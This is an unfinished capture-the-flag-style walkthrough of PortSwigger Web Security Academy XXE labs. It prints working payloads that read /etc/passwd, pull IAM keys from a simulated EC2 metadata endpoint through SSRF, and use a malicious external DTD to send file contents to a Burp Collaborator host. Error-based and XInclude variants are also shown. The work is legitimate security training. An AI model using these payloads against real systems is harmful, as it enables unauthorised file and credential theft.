IN PROGRESS: WebSecurityAcademy (PortSwigger) – XML external entity (XXE) injection

Walk-through of the XML external entity (XXE) injection lab on PortSwigger Web Security Academy.

Apprentice – Exploiting XXE using external entities to retrieve files

This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response. To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

  • On the Home page, click on View details for a product.
  • Click on Check stock.
POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
  • Send the request to the Repeater module.
  • Insert the XXE payload to read /etc/passwd just after the XML declaration.
  • Insert “&xxe;” in the productId.
POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

We get a server response with the /etc/passwd file.

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 2284

"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Apprentice – Exploiting XXE to perform SSRF attacks

This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response. The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive. To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.

  • On the Home page, click on View details for a product.
  • Click on Check stock.
POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>
  • Send the request to the Repeater module.
  • Insert the XXE payload to perform the SSRF just after the XML declaration.
  • Insert “&xxe;” in the productId.
POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

The server responds with “latest”.

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 28

"Invalid product ID: latest"

Add “latest” to the path in the payload. Redo the attack until you get the complete path of “http://169.254.169.254/latest/meta-data/iam/security-credentials/admin”.

POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 552

"Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2023-02-08T14:51:14.199440689Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "PFBIDoiaBnzNtLRbg80L",
  "SecretAccessKey" : "2qdoet3zcvpxAgeMHqwfD4ImwveJ0IWiS39HsBy8",
  "Token" : "brYPt0p4GIFIqghS5oqF63zWpS9qUAD6DdeRkOa17CRQBgKhPqfBaqKlEYNJN6omckYIW8H8JwZWWU73s8lhxG0y1oV4iQYPsyd1CS18n30FhOVK19kn3OLVdaQKZwX74FEEIGWbTfrvsg0eIH2gKGTS1ybpAILZlhzPAzDgQW7FkgzSNK6TXdXDT9UK31ZEOurWG3Ws2ziHTItsCqO2Yr6r2Gqs9DSGcORurZmqllCWCJACkoKEWWhsZVHaruX6",
  "Expiration" : "2029-02-06T14:51:14.199440689Z"
}"

Practitioner – Blind XXE with out-of-band interaction

This lab has a “Check stock” feature that parses XML input but does not display the result. You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain. To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

  • On the Home page, click on View details for a product.
  • Click on Check stock.
POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
  • Send the request to the Repeater module.
  • Insert the XXE payload to detect out-of-band interactions (same as SSRF) just after the XML declaration.
  • Insert “&xxe;” in the productId.
POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://<BURP COLLABORATOR ID>.oastify.com"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

The Burp Collaborator receives a request.

Practitioner – Blind XXE with out-of-band interaction via XML parameter entities

This lab has a “Check stock” feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities. To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

  • On the Home page, click on View details for a product.
  • Click on Check stock.
POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
  • Send the request to the Repeater module.
  • Insert the XXE payload to detect out-of-band interactions (same as SSRF) just after the XML declaration.
  • Insert “&xxe;” in the productId.
POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://<BURP COLLABORATOR ID>.oastify.com"> %xxe; ]><stockCheck><productId>%xxe;</productId><storeId>1</storeId></stockCheck>

The Burp Collaborator receives a request.

Practitioner – Exploiting blind XXE to exfiltrate data using a malicious external DTD

This lab has a “Check stock” feature that parses XML input but does not display the result. To solve the lab, exfiltrate the contents of the /etc/hostname file.

  • On the Home page, click on View details for a product.
  • Click on Check stock.
  • Send the request to the Repeater module.
POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Host the DTD file on a web server your control (http://<exploit server>/myprecious.dtd)

  • Click on Go to exploit server.
  • In File, enter /myprecious.dtd
  • Enter the payload in the body.
  • Click on Store.
  • Take a note of the URL of the myprecious.dtd file.
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://<BURP COLLABORATOR ID>.oastify.com?x=%file;'>">
%eval;
%exfiltrate;

In the Repeater module, modify the request to add the XXE payload and send the request.

POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://<EXPLOIT SERVER>.exploit-server.net/myprecious.dtd"> %xxe;]><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 19

"XML parsing error"

The Burp Collaborator receives an HTTP request.

GET /?x=0d16b2e069cc HTTP/1.1
User-Agent: Java/17.0.5
Host: izla9qeopd8q1p8fhi5wjqsrdij97zvo.oastify.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

Click on Submit answer and enter “0d16b2e069cc”.

Practitioner – Exploiting blind XXE to retrieve data via error messages

This lab has a “Check stock” feature that parses XML input but does not display the result. To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file. The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.

  • On the Home page, click on View details for a product.
  • Click on Check stock.
  • Send the request to the Repeater module.
POST /product/stock HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Host the DTD file on a web server your control (http://<exploit server>/myprecious.dtd)

  • Click on Go to exploit server.
  • In File, enter /myprecious.dtd
  • Enter the payload in the body.
  • Click on Store.
  • Take a note of the URL of the myprecious.dtd file.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

In the Repeater module, modify the request to add the XXE payload and send the request.

POST /product/stock HTTP/1.1
...

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://<EXPLOIT SERVER>.exploit-server.net/myprecious.dtd"> %xxe;]><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2419

"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,
[...]

The lab should be solved.

Practitioner – Exploiting XInclude to retrieve files

This lab has a “Check stock” feature that embeds the user input inside a server-side XML document that is subsequently parsed. Because you don’t control the entire XML document you can’t define a DTD to launch a classic XXE attack. To solve the lab, inject an XInclude statement to retrieve the contents of the /etc/passwd file.

  • On the Home page, click on View details for a product.
  • Click on Check stock.
  • Send the request to the Repeater module.
POST /product/stock HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

productId=1&storeId=1

Detect the XXE

💡 You can right-click on the request and click Scan. The scanner can find this XXE.

POST /product/stock HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

productId=]]>><&storeId=1
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 199

"XML parser exited with error: org.xml.sax.SAXParseException; lineNumber: 3; columnNumber: 19; The character sequence "]]>" must not appear in content unless used to mark the end of a CDATA section."

In the Repeater module, modify the request to add the XXE payload and send the request.

POST /product/stock HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2338

"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
[...]

The lab should be solved.

Practitioner – Exploiting XXE via image file upload

Expert – Exploiting XXE to retrieve data by repurposing a local DTD